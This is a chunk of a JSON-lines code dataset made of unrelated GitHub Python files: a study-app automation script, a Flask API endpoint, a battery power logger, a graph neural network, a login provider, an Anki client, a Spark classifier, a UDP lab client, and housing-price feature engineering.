gl.pushprint(name+\" 总计用时 \" + str(math.floor(seconds_used / 60)) +\n \" 分 \" + str(seconds_used % 60) + \" 秒\", chat_id=uid)\n show_scorePush(cookies, chat_id=uid)\n try:\n user.shutdown(stime)\n except Exception as e:\n pass\n\n\ndef start(nick_name=None):\n nohead, lock, stime, Single = get_argv()\n info_shread = threads.MyThread(\"获取更新信息...\", version.up_info)\n info_shread.start()\n user_list = user.list_user(printing=False)\n user.refresh_all_cookies()\n if len(user_list) == 0:\n user_list.append([\"\", \"新用户\"])\n for i in range(len(user_list)):\n try:\n if nick_name is None or nick_name == user_list[i][1] or nick_name == user_list[i][0]:\n _learn = threads.MyThread(\n user_list[i][0]+\"开始学xi\", start_learn, user_list[i][0], user_list[i][1], lock=Single)\n _learn.start()\n except:\n gl.pushprint(\"学习页面崩溃,学习终止\")\n\n\ndef get_my_score(uid):\n get_argv()\n user.refresh_all_cookies()\n cookies = user.get_cookie(uid)\n if not cookies:\n return False\n show_scorePush(cookies, chat_id=uid)\n return True\n\n\ndef get_user_list():\n get_argv()\n dic = user.refresh_all_cookies(display_score=True)\n values = dic.values()\n msg = \"\"\n for v in values:\n msg += v+\"\\n\"\n if msg == \"\":\n msg = \"cookie全部过期,请重新登录\"\n return msg\n\n\ndef get_all_user_name():\n user_list = user.list_user(printing=False)\n names = []\n for i in range(len(user_list)):\n names.append(user_list[i][1])\n return names\n\n\ndef add_user(chat_id=None):\n get_argv()\n gl.pushprint(\"请登录(登录方式请仔细阅读文档,如果觉得这是让你下载,就是你没仔细读文档):\", chat_id=chat_id)\n driver_login = Mydriver()\n cookies = driver_login.login(chat_id)\n driver_login.quit()\n # cookies = login(chat_id=chat_id)\n if not cookies:\n gl.pushprint(\"登录超时。\", chat_id=chat_id)\n return\n user.save_cookies(cookies)\n uid = user.get_userId(cookies)\n user_fullname = user.get_fullname(uid)\n user.update_last_user(uid)\n gl.pushprint(user_fullname+\"登录成功\", chat_id=chat_id)\n\n\nif __name__ == '__main__':\n if(cfg_get('display.banner') != False): # banner文本直接硬编码,不要放在conf中\n print(\"=\" * 60 +\n '\\n 我们的网站,GitHub 等页面已经被中国大陆的浏览器加入黑名单,请用谷歌浏览器 chrome 打开我们的站点。' +\n '\\n 科技强 guo 官方网站:https://techxuexi.js.org' +\n '\\n Github地址:https://github.com/TechXueXi' +\n '\\n使用本项目,必须接受以下内容,否则请立即退出:' +\n '\\n - TechXueXi 仅额外提供给“爱党爱 guo ”且“工作学业繁重”的人' +\n '\\n - 项目开源协议 LGPL-3.0' +\n '\\n - 不得利用本项目盈利' +\n '\\n另外,我们建议你参与一个维护劳动法的项目:' +\n '\\nhttps://996.icu/ 或 https://github.com/996icu/996.ICU/blob/master/README_CN.md')\n print(\"=\" * 60, '''\\nTechXueXi 现支持以下模式(答题时请值守电脑旁处理少部分不正常的题目):''')\n print(cfg_get('base.ModeText', \"\") + '\\n' + \"=\" * 60)\n # 模式提示文字请在 ./config/default_template.conf 处修改。\n start()\n","repo_name":"TechXueXi/TechXueXi","sub_path":"SourcePackages/pandalearning.py","file_name":"pandalearning.py","file_ext":"py","file_size_in_byte":7445,"program_lang":"python","lang":"en","doc_type":"code","stars":5402,"dataset":"github-code","pt":"32"} +{"seq_id":"26476971291","text":"from flask_apispec import MethodResource\nfrom flask_apispec import use_kwargs, doc\nfrom flask_jwt_extended import fresh_jwt_required\nfrom flask_restful import Resource\nfrom webargs import fields, validate\nfrom decorator.verify_admin_access import verify_admin_access\n\nfrom db.db import DB\nfrom decorator.catch_exception import catch_exception\nfrom decorator.log_request import log_request\nfrom utils.serializer import Serializer\n\n\nclass GetCampaigns(MethodResource, Resource):\n\n def __init__(self, db: DB):\n self.db = db\n\n @log_request\n @doc(tags=['campaign'],\n description='Get campaigns',\n responses={\n \"200\": {},\n })\n @use_kwargs({\n 'page': fields.Int(required=False, missing=1, validate=validate.Range(min=1)),\n 'per_page': fields.Int(required=False, missing=50, validate=validate.Range(min=1, max=50)),\n }, location=\"query\")\n @fresh_jwt_required\n @verify_admin_access\n @catch_exception\n def get(self, **kwargs):\n\n query = self.db.session \\\n .query(self.db.tables[\"Campaign\"]) \\\n .order_by(self.db.tables[\"Campaign\"].id.desc())\n paginate = query.paginate(kwargs['page'], kwargs['per_page'])\n campaigns = Serializer.serialize(paginate.items, self.db.tables[\"Campaign\"])\n\n return {\n \"pagination\": {\n \"page\": kwargs['page'],\n \"pages\": paginate.pages,\n \"per_page\": kwargs['per_page'],\n \"total\": paginate.total,\n },\n \"items\": campaigns,\n }, \"200 \"\n","repo_name":"CybersecurityLuxembourg/openxeco-core","sub_path":"oxe-api/resource/campaign/get_campaigns.py","file_name":"get_campaigns.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"11949806427","text":"import smbus\nimport time\nimport sys\nfrom ina219 import INA219\n\nclass PowerFormatting:\n FULL = 0x01\n SHORT = 0x02\n PERCENT = 0x03\n CURRENT = 0x04\n\ndef read(ina219, parameter):\n\n voltage = ina219.getBusVoltage_V() # voltage on V- (load side)\n shunt_voltage = ina219.getShuntVoltage_mV() / 1000 # voltage between V+ and V- across the shunt\n current = ina219.getCurrent_mA() # current in mA\n power = ina219.getPower_W() # power in W\n percent = (voltage - 6)/2.4*100\n if(percent > 100):percent = 100\n if(percent < 0):percent = 0\n result = \"\"\n if(PowerFormatting.FULL == parameter):\n result = printlong(voltage, current, power, percent)\n elif(PowerFormatting.SHORT == parameter):\n result = printshort(voltage, current, power, percent)\n elif(PowerFormatting.PERCENT == parameter):\n result = \"{0}\".format(int(percent))\n elif(PowerFormatting.CURRENT == parameter):\n result = \"{0}\".format(int(current))\n return result\n\ndef printlong(voltage, current, power, percent):\n discharge = \"\"\n if(current < 0):\n discharge = \"dis\"\n print(\"Load Voltage:\\t\\t{:6.3f} V\".format(voltage))\n print(\"Battery {0}charging\\t{1:9.6f} A\".format(discharge, current/1000))\n print(\"Power:\\t\\t\\t{:6.3f} W\".format(power))\n print(\"Percent:\\t\\t{:3.1f}%\".format(percent))\n return \"\"\n\ndef printshort(voltage, current, power, percent):\n return \"{0},{1},{2:1.3f},{3}\".format(int(voltage*100), int(current), power, int(percent))\n\nif __name__=='__main__':\n ina219 = INA219(addr=0x42)\n read(ina219, 0)\n time.sleep(2)\n if(len(sys.argv) > 1):\n result = \"\"\n if(sys.argv[1] == \"percent\"):\n result = read(ina219, PowerFormatting.PERCENT)\n elif(sys.argv[1] == \"current\"):\n result = read(ina219, PowerFormatting.CURRENT)\n else:\n result = read(ina219, PowerFormatting.SHORT)\n print(result)\n else:\n read(ina219, PowerFormatting.FULL)\n","repo_name":"jscoobyced/raspi-utils","sub_path":"ina219/powerlog.py","file_name":"powerlog.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"24293350430","text":"import torch.nn as nn\nimport torch.nn.functional as F\nfrom torch_geometric.nn import GCNConv, NNConv, GINConv, GATConv, global_add_pool, Set2Set\n\n\nclass GCN(nn.Module):\n def __init__(self, n_features, hidden_dim, n_classes, n_conv_layers=3, dropout=0,\n conv_type=\"MPNN\", set2set_pooling=False, node_classification=True, softmax=False,\n probability=True, batch_norm=True, num_embeddings=None, embedding_dim=20,\n residuals=False, device=\"cpu\"):\n super(GCN, self).__init__()\n if num_embeddings:\n self.embedding = nn.Embedding(num_embeddings=num_embeddings, embedding_dim=embedding_dim)\n\n self.convs = nn.ModuleList()\n self.batch_norms = nn.ModuleList()\n\n # First layer\n self.convs.append(self.get_conv_layer(n_features, hidden_dim, conv_type=conv_type))\n self.batch_norms.append(nn.BatchNorm1d(hidden_dim))\n\n # Hidden layers\n for i in range(n_conv_layers - 1):\n self.convs.append(self.get_conv_layer(hidden_dim, hidden_dim, conv_type=conv_type))\n self.batch_norms.append(nn.BatchNorm1d(hidden_dim))\n\n # Fully connected layer\n self.fc = nn.Linear(hidden_dim, n_classes)\n\n # if residuals:\n # self.fc = nn.Linear(n_conv_layers * hidden_dim, n_classes)\n\n # If we are interested in graph classification, we introduce the final pooling and change\n # the fc layer to have dimensions compatible with the output of the Set2Set model\n if set2set_pooling:\n self.fc = nn.Linear(2 * hidden_dim, n_classes)\n self.pooling = Set2Set(hidden_dim, processing_steps=10)\n\n self.dropout = nn.Dropout(dropout)\n\n self.conv_type = conv_type\n self.node_classification = node_classification\n self.softmax = softmax\n self.probability = probability\n self.batch_norm = batch_norm\n self.num_embeddings = num_embeddings\n self.set2set_pooling = set2set_pooling\n self.residuals = residuals\n self.device = device\n\n def forward(self, data):\n x, adj, edge_attr, batch = data.x, data.edge_index, data.edge_attr, data.batch\n # poolings = torch.Tensor([]).to(self.device)\n\n if self.num_embeddings:\n x = self.embedding(x)\n x = self.dropout(x)\n\n # Apply graph convolutional layers\n for i, conv in enumerate(self.convs):\n x = self.apply_conv_layer(conv, x, adj, edge_attr, conv_type=self.conv_type)\n x = self.batch_norms[i](x) if self.batch_norm else x\n x = nn.functional.leaky_relu(x)\n x = self.dropout(x)\n\n # if self.residuals:\n # poolings = torch.cat((poolings, global_add_pool(x, batch)), dim=1)\n\n # If we are interested in graph classification, apply graph-wise pooling\n if not self.node_classification: # and not self.residuals:\n if self.set2set_pooling:\n x = self.pooling(x, batch)\n else:\n x = global_add_pool(x, batch)\n x = self.dropout(x)\n\n # if self.residuals:\n # x = self.dropout(poolings)\n\n x = self.fc(x)\n\n # if not self.node_classification:\n # if self.probability:\n # return torch.sigmoid(x)\n # else:\n # return x\n\n return F.log_softmax(x, dim=1) if not self.softmax else F.softmax(x, dim=1)\n\n @staticmethod\n def get_conv_layer(n_input_features, n_output_features, conv_type=\"GCN\"):\n if conv_type == \"GCN\":\n return GCNConv(n_input_features, n_output_features)\n elif conv_type == \"GAT\":\n return GATConv(n_input_features, n_output_features)\n elif conv_type == \"MPNN\":\n net = nn.Sequential(nn.Linear(2, 10), nn.ReLU(), nn.Linear(10, n_input_features *\n n_output_features))\n return NNConv(n_input_features, n_output_features, net)\n elif conv_type == \"GIN\":\n net = nn.Sequential(nn.Linear(n_input_features, n_output_features), nn.ReLU(),\n nn.Linear(n_output_features, n_output_features))\n return GINConv(net)\n else:\n raise Exception(\"{} convolutional layer is not supported.\".format(conv_type))\n\n @staticmethod\n def apply_conv_layer(conv, x, adj, edge_attr, conv_type=\"GCN\"):\n if conv_type in [\"GCN\", \"GAT\", \"GIN\"]:\n return conv(x, adj)\n elif conv_type in [\"MPNN\"]:\n return conv(x, adj, edge_attr)\n else:\n raise Exception(\"{} convolutional layer is not supported.\".format(conv_type))\n","repo_name":"emalgorithm/ncRNA-family-prediction","sub_path":"src/model/gcn.py","file_name":"gcn.py","file_ext":"py","file_size_in_byte":4714,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"32"} +{"seq_id":"40380704435","text":"from datetime import timedelta\n\nfrom django.urls import path\n\nfrom .base import DomainEmailValidator\nfrom .external import ExternalLoginView, ExternalGetCodeView\n\n\nclass LoginView(ExternalLoginView):\n template_context = {'provider_name': '浙江大学'}\n provider = 'zju'\n group = 'zju'\n\n\nclass GetCodeView(ExternalGetCodeView):\n provider = 'zju'\n duration = timedelta(hours=1)\n validate_identity = DomainEmailValidator('zju.edu.cn')\n\n\nurlpatterns = [\n path('zju/login/', LoginView.as_view()),\n path('zju/get_code/', GetCodeView.as_view()),\n]\n","repo_name":"SUSTech-CRA/ustc-hackergame","sub_path":"frontend/auth_providers/zju.py","file_name":"zju.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"42914439558","text":"import json\nimport urllib.request\nfrom typing import Any\nfrom urllib.error import URLError\n\nfrom .utils import error\n\n\nclass AnkiConnect:\n @classmethod\n def find_notes(cls, query: str) -> list[int]:\n return cls._invoke(\"findNotes\", query=query)\n\n @classmethod\n def selected_notes(cls) -> list[int]:\n return cls._invoke(\"guiSelectedNotes\")\n\n @classmethod\n def notes_info(cls, note_ids: list[int]) -> list[dict[str, Any]]:\n return cls._invoke(\"notesInfo\", notes=note_ids)\n\n @classmethod\n def update_note_fields(cls, id: int, fields: dict[str, str]) -> None:\n cls._invoke(\"updateNoteFields\", note=dict(id=id, fields=fields))\n\n @classmethod\n def get_field(cls, note_info: dict[str, Any], field: str) -> str:\n return note_info[\"fields\"][field][\"value\"]\n\n @classmethod\n def update_fields(\n cls,\n note_info: dict[str, Any],\n fields: dict[str, str],\n ) -> bool:\n to_update = {\n k: v for k, v in fields.items() if note_info[\"fields\"][k][\"value\"] != v\n }\n if to_update:\n cls.update_note_fields(note_info[\"noteId\"], fields)\n return True\n return False\n\n @classmethod\n def add_note(cls, deck_name: str, model_name: str, fields: dict[str, str]) -> None:\n result = cls._invoke(\n \"addNote\",\n note=dict(\n deckName=deck_name,\n modelName=model_name,\n fields=fields,\n options=dict(\n allowDuplicate=False,\n duplicateScope=\"deck\",\n duplicateScopeOptions=dict(\n deckName=deck_name, checkAllModels=False\n ),\n ),\n ),\n )\n if not result:\n raise Exception(f\"Could not create card with fields {fields}.\")\n\n @staticmethod\n def _invoke(action: str, **params: Any) -> Any:\n request_json = json.dumps(dict(action=action, params=params, version=6)).encode(\n \"utf-8\"\n )\n try:\n response = json.load(\n urllib.request.urlopen(\n urllib.request.Request(\"http://localhost:8765\", request_json)\n )\n )\n except URLError:\n error(\"Could not open Anki Connect URL. Is Anki running?\")\n if len(response) != 2:\n error(\"Response has an unexpected number of fields\")\n if \"error\" not in response:\n error(\"Response is missing required error field\")\n if \"result\" not in response:\n error(\"Response is missing required result field\")\n if response[\"error\"] is not None:\n error(response[\"error\"])\n return response[\"result\"]\n","repo_name":"m09/lkdlt","sub_path":"lkdlt/anki_connect.py","file_name":"anki_connect.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"10251181893","text":"from pyspark.ml import Pipeline\nfrom pyspark.ml.classification import RandomForestClassifier\nfrom pyspark.ml.feature import IndexToString, StringIndexer, VectorIndexer\nfrom pyspark.ml.evaluation import MulticlassClassificationEvaluator\nsepsisf = sqlContext.read.format('csv').options(header='true', inferSchema='true').load('sepsis_f.csv')\n(trainingData, testData) = sepsisf.randomSplit([0.7, 0.3])\nlabelIndexer = StringIndexer(inputCol=\"infxnqsofa\", outputCol=\"label\").fit(sepsisf)\nfrom pyspark.ml.feature import VectorAssembler\nvecAssembler = VectorAssembler(inputCols=[\"sepsis_antibiotic\",\"antibiotic\",\"RACE_NUM\",\"ETH_NUM\",\"SEXNUM\",\"icd_ind\",\"icd_rank\",\"sepsis_glucocorticoid\",\"treatment_limit\",\"icd9_477_x\",\"icd9_493_x\",\"age_at_enc\",\"icd9_691_x\",\"temp\",\"biologicals\",\"icd9_995_3\",\"bmi\",\"pain_scale\",\"dnr\",\"dnr_treatment_limit\",\"staph\",\"immunosupp_medname\",\"dncpr_dni\",\"icd9_558_3\",\"albuterol\",\"avpu\",\"avpu_old\",\"dnr_dni\",\"immunosupp_class30\"],outputCol = \"features\")\nlabelConverter = IndexToString(inputCol=\"prediction\", outputCol=\"predictedLabel\", labels=labelIndexer.labels)\nrf = RandomForestClassifier(labelCol=\"label\", featuresCol=\"features\", numTrees=10)\npipeline = Pipeline(stages=[labelIndexer, vecAssembler, rf, labelConverter])\nmodel = pipeline.fit(trainingData)\npredictions = model.transform(testData)\npredictions.select(\"predictedLabel\", \"label\", \"features\").show(5)\nevaluator = MulticlassClassificationEvaluator(\n labelCol=\"label\", predictionCol=\"prediction\", metricName=\"accuracy\")\naccuracy = evaluator.evaluate(predictions)\nprint(accuracy)\n#0.989923015099\nevaluator = MulticlassClassificationEvaluator(\n labelCol=\"label\", predictionCol=\"prediction\", metricName=\"f1\")\nf1 = evaluator.evaluate(predictions)\nprint(f1)\n#0.984910037612\nevaluator = MulticlassClassificationEvaluator(\n labelCol=\"label\", predictionCol=\"prediction\", metricName=\"weightedPrecision\")\nwp = evaluator.evaluate(predictions)\nprint(wp)\n#0.979947575823\n","repo_name":"CHABOBO/251project","sub_path":"Code/Random_Forest.py","file_name":"Random_Forest.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9357910905","text":"import socket\nimport random\nimport logging\nfrom timeit import default_timer\n\n# To setup the server we do the following\n# 1. SSH via 'ssh -X np14@149.171.36.192'\n# 2. Login via our password\n# 3. Run the command '4123-server -address 0.0.0.0 -port 8319 -file message.txt'\n\nclass RealSnooper:\n def __init__(self, SERVER_IP_ADDR=\"149.171.36.192\", SERVER_PORT=8319):\n self.SERVER_IP_ADDR = SERVER_IP_ADDR\n self.SERVER_PORT = SERVER_PORT\n\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.sock.settimeout(2)\n\n self.logger = logging.getLogger(__name__)\n\n self.sock.connect((self.SERVER_IP_ADDR, self.SERVER_PORT))\n \n def settimeout(self, *args, **kwargs):\n self.sock.settimeout(*args, **kwargs)\n \n def close(self):\n self.sock.close()\n \n def _fetch_message(self, Pr, time_sent):\n # run through responses until we get our desired packet\n # duplication or packet losses can occur, which causes this to go out of sync\n msg_id = None\n\n while True: \n try:\n data = self.sock.recv(1024)\n\n # check if last packet contained correct Pr\n try:\n Pt, msg_id, msg = self.decode_packet_response(data)\n except ValueError:\n self.logger.error(f\"Failed to decode packet: len={len(data)} content={data}\")\n raise socket.timeout()\n\n if Pt == Pr:\n break\n except socket.timeout as ex:\n if msg_id is not None:\n self.logger.warning(f\"Timeout with mismatching Pr (sent {Pr}, got {Pt})\")\n else:\n self.logger.warning(f\"Timeout without reply\")\n raise ex\n \n assert Pr == Pt\n\n time_gotten = default_timer()\n rtt = time_gotten - time_sent\n self.logger.debug(f\"Matching reply rtt={rtt*1000:.0f}ms (sent {Pr}, got {Pt})\")\n return (msg_id, msg)\n \n # get a message from the server with our desired Sr \n def get_message(self, Sr, Pr=None, return_callback=False):\n if Pr is None:\n Pr = random.randint(1, 1 << 31)\n\n datagram = self.construct_packet_request(Sr, Pr)\n # self.sock.sendto(datagram, (self.SERVER_IP_ADDR, self.SERVER_PORT))\n \n time_sent = default_timer()\n self.sock.send(datagram)\n\n if not return_callback:\n return self._fetch_message(Pr, time_sent)\n \n def callback():\n return self._fetch_message(Pr, time_sent)\n\n return callback\n\n\n def construct_packet_request(self, Sr, Pr):\n return Sr.to_bytes(4, byteorder=\"big\") + Pr.to_bytes(4, byteorder=\"big\")\n\n def decode_packet_response(self, data):\n Pt = int(data[:4].hex(), 16)\n msg_id = int(data[4:8].hex(), 16)\n msg = data[8:]\n return (Pt, msg_id, msg)","repo_name":"alastairmurrant1/DP-Networks-Group-5","sub_path":"RealSnooperServer.py","file_name":"RealSnooperServer.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4677851600","text":"import os\nimport time\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom numpy import Infinity\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import r2_score, mean_absolute_percentage_error\n\n# https://www.kaggle.com/datasets/lildatascientist/raifhackds2021fall\n\n# reform_house_population_1000 - Coefficient of the number of people living within a radius of 1 km by source Reform\n# reform_mean_floor_count_1000 - Average number of storeys of houses within a radius of 1 km according to the source\n# reform_mean_year_building_1000 - Average value of the year of construction of houses within a radius of 1 km\n\nmissing_population = {\n 'Лесозаводск': 35433,\n 'Новопокровка': 3095,\n 'Восток': 3313,\n 'Дальнегорск': 33655,\n 'Дальнереченск': 23613,\n 'Пожарский район, с. Светлогорье, Первый мкр': 1396,\n 'Пластун': 4815,\n 'Лучегорск': 17437,\n 'Пожарский район, Лучегорск пгт': 17437,\n 'Кировский': 8033,\n 'Кировский район, Кировский пгт': 8033,\n 'Горные Ключи': 4302,\n 'Кировский район, Горные Ключи кп': 4302,\n}\n\n\ndef print_features_variance(df):\n for feature in df.columns:\n print(f\"{f'{feature}:':<35}{df[feature].var():>25}\", )\n\n\ndef analyze_variance(train, target):\n print(f'\\n{\" Analyzing Features variance \":.^100}\\n')\n\n print_features_variance(train)\n\n best_error = Infinity\n best_var = 0\n best_features = []\n best_features_to_drop = []\n errors = []\n variances = []\n # vals = [0.001, 0.003, 0.005, 0.1]\n vals = [0, 0.00001, 0.00005, 0.0001, 0.0005, 0.001, 0.005, 0.01, 0.1]\n # vals = [0.01, 0.02, 0.03, 0.04, 0.05, 0.06, 0.07, 0.08, 0.09, 0.1]\n # vals = [0.01]\n for var in vals:\n features = train.var()[train.var() > var].index.tolist()\n fearures_to_drop = train.var()[train.var() <= var].index.tolist()\n\n train_x = train[features]\n train_y = target\n\n model = LinearRegression()\n model.fit(train_x, train_y)\n y_pred = model.predict(train_x)\n\n r2 = r2_score(train_y, y_pred)\n print(f'Correlation {var}: {r2}')\n\n error = mean_absolute_percentage_error(train_y, y_pred)\n print(f'MAPE {var}: {error}')\n\n if error < best_error:\n best_error = error\n best_features = features\n best_var = var\n best_features_to_drop = fearures_to_drop\n errors.append(error)\n variances.append(var)\n\n print(f'\\nBest features stat: {best_var} {best_error} - \\n{best_features}')\n print(f'\\nFeatures to drop: {best_features_to_drop}')\n\n plt.plot(variances, errors)\n plt.xlabel('Variance')\n plt.ylabel('MAPE')\n plt.show()\n\n print(f'\\n{\" Analyzing Features variance finished \":.^100}\\n')\n return best_features_to_drop\n\n\ndef correlation(df, threshold):\n col_corr = set()\n corr_matrix = df.corr()\n for i in range(len(corr_matrix.columns)):\n for j in range(i):\n if abs(corr_matrix.iloc[i, j]) > threshold:\n colname = corr_matrix.columns[i]\n col_corr.add(colname)\n return col_corr\n\n\ndef show_nan_statistics(df):\n print('\\nNaN statistics:')\n shape = df.shape[0]\n printed_amount = 0\n for column in df.columns:\n nan_amount = df[column].isna().sum()\n if nan_amount > 0:\n print(f'{column}: {nan_amount} ({nan_amount / shape * 100:.2f}%)')\n printed_amount += 1\n if printed_amount == 0:\n print('No NaN values found')\n print('\\n')\n\n\ndef save_first_n_rows(df, file_name, n=10):\n df.head(n).to_csv(f'./misc/{file_name}', index=False)\n\n\ndef print_current_dir():\n print(os.getcwd())\n\n\ndef print_columns_containing_string_values(df):\n print('\\nColumns containing string values:')\n columns = []\n for column in df.columns:\n if df[column].dtype == 'object':\n print(f'{column}: {len(df[column].unique())}')\n columns.append(column)\n print(f'\\nDate difference: {df[\"date\"].max()}, {df[\"date\"].min()}')\n print(f'Total square difference: {df[\"total_square\"].max()}, {df[\"total_square\"].min()}')\n print('\\n')\n return columns\n\n\ndef add_new_features(df):\n print(f'\\n{\" Adding new features \":*^100}\\n')\n\n df['is_moscow'] = df['region'].apply(lambda x: 1 if x == 'Москва' else 0)\n df['is_spb'] = df['region'].apply(lambda x: 1 if x == 'Санкт-Петербург' else 0)\n df['is_moscow_or_spb_oblast'] = \\\n df['region'].apply(lambda x: 1 if x == 'Московская область' or x == 'Ленинградская область' else 0)\n df['is_krsk_oblast'] = df['region'].apply(lambda x: 1 if x == 'Краснодарский край' else 0)\n df['is_region'] = \\\n df['region'].apply(\n lambda x: 1 if x not in ['Москва', 'Санкт-Петербург', 'Московская область', 'Ленинградская область',\n 'Краснодарский край'] else 0\n )\n df.drop('region', axis=1, inplace=True)\n print(f'\\nIs moscow: {df[\"is_moscow\"].sum()}')\n print(f'Is spb: {df[\"is_spb\"].sum()}')\n print(f'Is moscow or spb oblast: {df[\"is_moscow_or_spb_oblast\"].sum()}')\n print(f'Is krsk oblast: {df[\"is_krsk_oblast\"].sum()}')\n print(f'Is region: {df[\"is_region\"].sum()}\\n')\n\n cities_with_population_more_than_1_million = ['Москва', 'Санкт-Петербург', 'Новосибирск', 'Екатеринбург', 'Казань',\n 'Нижний Новгород', 'Челябинск', 'Самара', 'Омск',\n 'Ростов-на-Дону', 'Уфа', 'Красноярск', 'Воронеж', 'Пермь',\n 'Волгоград']\n df['is_million'] = df['city'].apply(lambda x: 1 if x in cities_with_population_more_than_1_million else 0)\n df['is_not_million'] = df['city'].apply(lambda x: 1 if x not in cities_with_population_more_than_1_million else 0)\n df.drop('city', axis=1, inplace=True)\n print(f'\\nIs million: {df[\"is_million\"].sum()}')\n print(f'Is not million: {df[\"is_not_million\"].sum()}\\n')\n\n df['date'] = pd.to_datetime(df['date'], format='%Y-%m-%d')\n df['year'] = df['date'].dt.year\n df['month'] = df['date'].dt.month\n\n df['date'] = scale_column_min_max(df['date'])\n\n df['total_square'] = scale_column_min_max(df['total_square'])\n\n df = pd.get_dummies(df, columns=['osm_city_nearest_name', 'realty_type'])\n\n print(f'\\n{\" Adding new features finished \":*^100}\\n')\n return df\n\n\ndef scale_column(column):\n return (column - column.mean()) / column.std()\n\n\ndef scale_column_min_max(column):\n return (column - column.min()) / (column.max() - column.min())\n\n\ndef validate_data(df):\n print(f'\\n{\" Validating data... \":*^100}\\n')\n show_nan_statistics(df)\n\n df['street'] = df['street'].fillna('unknown')\n\n df['osm_city_nearest_population'] = df['osm_city_nearest_population'].fillna(df['city'].map(missing_population))\n\n df['missing_reform_stat'] = df['reform_house_population_1000'].apply(lambda x: 1 if pd.isna(x) else 0)\n df['reform_house_population_1000'] = df['reform_house_population_1000'].fillna(4)\n\n df['missing_reform_stat'] = df['reform_mean_floor_count_1000'].apply(lambda x: 1 if pd.isna(x) else 0)\n df['reform_mean_floor_count_1000'] = df['reform_mean_floor_count_1000'].fillna(3)\n\n df['missing_reform_stat'] = df['reform_mean_year_building_1000'].apply(lambda x: 1 if pd.isna(x) else 0)\n df['reform_mean_year_building_1000'] = df['reform_mean_year_building_1000'].fillna(1970)\n\n df['reform_house_population_500'] = df['reform_house_population_500'].fillna(\n df['reform_house_population_1000']\n )\n\n df['reform_mean_floor_count_500'] = df['reform_mean_floor_count_500'].fillna(\n df['reform_mean_floor_count_1000']\n )\n\n df['reform_mean_year_building_500'] = df['reform_mean_year_building_500'].fillna(\n df['reform_mean_year_building_1000']\n )\n\n df['floor'] = df['floor'].fillna(df['reform_mean_floor_count_1000'])\n\n df['total_square_bin'] = pd.qcut(df['total_square'], q=10, labels=False)\n\n df['floor_bin'] = pd.qcut(df['floor'], q=2, labels=False)\n\n df = add_new_features(df)\n\n # show_statistics(df)\n show_nan_statistics(df)\n print(f'\\n{\" Data validation finished \":*^100}\\n')\n return df\n\n\ndef show_column_isna_field_features(df, column, features):\n print(f'\\nCity with nan {column} features: \\n'\n f'{df[df[column].isna()][features].drop_duplicates()}')\n\n\ndef show_statistics(train_df):\n print(f'\\n{\" TABLE statistics \":-^100}')\n\n print(f'\\nNumber of rows: {train_df.shape[0]}')\n print(f'Number of columns: {train_df.shape[1]}')\n\n # show_column_isna_field_features(train_df, 'osm_city_nearest_population', ['city', 'region'])\n\n # show_column_isna_field_features(train_df, 'reform_house_population_1000', ['region'])\n\n # show_column_isna_field_features(train_df, 'reform_mean_floor_count_1000', ['region'])\n\n # show_column_isna_field_features(train_df, 'reform_mean_year_building_1000', ['region'])\n\n # show_column_unique_values_stat(train_df['region'])\n\n string_columns = print_columns_containing_string_values(train_df)\n\n # unique_values_amount(string_columns, train_df)\n\n print('-' * 100)\n return string_columns\n\n\ndef unique_values_amount(string_columns, train_df):\n print(f'\\nNumber of unique values in each column:')\n for column in train_df.columns:\n if column not in string_columns:\n print(f'{column}: {train_df[column].nunique()}')\n\n\ndef show_train_statistics(train):\n print(f'\\n{\" Average per_square_meter_price for each region \":-^100}')\n print(train.groupby('region')['per_square_meter_price'].mean())\n\n\ndef statistics(predicted_price, test):\n test['predicted_price'] = predicted_price\n\n print(f'\\n{\" Regions which have predicted_price more than 200000 and less than 1000000 \":-^100}')\n print(test[(test['predicted_price'] > 200000) & (test['predicted_price'] < 1000000)]['region'].unique())\n\n print(f'\\n{\" Min and max total_squares which have predicted_price more than 200000 and less than 1000000 \":-^100}')\n print(test[(test['predicted_price'] > 200000) & (test['predicted_price'] < 1000000)][\n ['total_square', 'predicted_price']].min())\n print(test[(test['predicted_price'] > 200000) & (test['predicted_price'] < 1000000)][\n ['total_square', 'predicted_price']].max())\n\n\ndef analyze_correlation(train, target):\n print(f'\\n{\" Correlation between features and target \":-^100}')\n\n vals = [0.4, 0.6, 0.7, 0.8, 0.9, 0.95, 0.96, 0.97]\n best_val = 0\n best_error = Infinity\n errors = []\n best_features_to_drop = []\n correlations = []\n for val in vals:\n drop = correlation(train, val)\n\n test_x = train.drop(columns=drop)\n target_y = target\n\n model = LinearRegression()\n model.fit(test_x, target_y)\n\n predict_y = model.predict(test_x)\n\n r2 = r2_score(target_y, predict_y)\n print(f'Correlation {val}: {r2}')\n\n error = mean_absolute_percentage_error(target_y, predict_y)\n print(f'MAPE {val}: {error}')\n\n if error < best_error:\n best_error = error\n best_val = val\n best_features_to_drop = drop\n errors.append(error)\n correlations.append(val)\n\n print(f'\\nBest features stat: {best_val} {best_error} - {best_features_to_drop}')\n\n plt.plot(correlations, errors)\n plt.xlabel('Correlation')\n plt.ylabel('MAPE')\n plt.show()\n\n print(f'\\n{\" Analyzing Features correlation \":.^100}\\n')\n return best_features_to_drop\n\n\ndef correlation_with_target(train, target):\n print(f'\\n{\" Correlation between features and target \":-^100}')\n train.corrwith(target).to_csv('./misc/correlation_with_target.csv', header=True)\n\n drop = train.corrwith(target).abs() < 0.01\n\n drop = list(drop[drop].index)\n\n print(f'\\n{\" Correlation between features and target ended \":.^100}\\n')\n return drop\n\n\ndef 